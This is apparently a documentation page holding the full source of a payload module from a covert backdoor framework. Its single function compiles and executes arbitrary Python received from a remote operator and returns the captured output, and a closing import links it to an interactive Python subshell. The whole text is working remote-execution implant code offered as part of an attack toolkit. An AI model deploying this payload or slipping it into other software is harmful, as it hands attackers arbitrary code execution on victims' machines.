Source code for covertutils.payloads.generic.pythonapi

[docs]def work( storage, message ) : import sys import StringIO ret = ' ' try : # print "Starting Execution" compiled_message = compile(message, '<remote>', 'exec') # print "Compiled" retIO = StringIO.StringIO() sys.stdout = retIO exec (compiled_message) sys.stdout = sys.__stdout__ # print "Executed" ret = retIO.getvalue() except Exception as e: ret = str(e) # print "Exception on execution of '%s'" % message # print e return ret
from covertutils.shells.subshells import PythonAPISubShell as shell